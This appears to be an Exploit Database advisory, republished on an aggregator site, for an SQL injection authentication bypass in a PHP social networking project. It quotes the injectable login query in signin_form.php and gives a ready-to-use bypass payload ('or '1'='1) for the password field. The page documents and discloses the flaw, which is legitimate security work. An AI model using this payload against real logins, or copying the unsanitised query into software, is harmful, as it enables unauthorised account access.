Social Networking Site – Authentication Bypass (SQli)

• Exploit Database
• 24 阅读

• 作者： gh1mau
  日期： 2020-12-01
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49140/

• # Exploit Title: Social Networking Site - Authentication Bypass (SQli)
  # Date: 2020-11-17
  # Exploit Author: gh1mau 
  # Email: gh1mau.rulez@gmail.com
  # Team Members: Capt'N, muzzo, chaos689 | https://h0fclanmalaysia.wordpress.com/
  # Vendor Homepage: https://www.sourcecodester.com/php/14601/social-networking-site-phpmysqli-full-source-code.html
  # Software Link: https://www.sourcecodester.com/download-code?nid=14601&title=Social+Networking+Site+in+PHP%2FMySQLi+with+Full+Source+Code
  # Software Release Date: November 17, 2020
  # Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)
  
  Vulnerable File:
  ---------------- 
  /signin_form.php
  
  Vulnerable Code:
  -----------------
  Entry point:
  
  line 7: $email=$_POST['email'];
  line 8: $password=$_POST['password'];
  
  Exit point:
  line 10: $result = mysqli_query($con,"SELECT * FROM user WHERE email = '$email' and password='$password'");
  
  Vulnerable Issue:
  -----------------
  Attacker could bypass the authentication using simple sqli login bypass payload
  
  	username: gh1mau@gh1mau.com
  	password: ' or '1'='1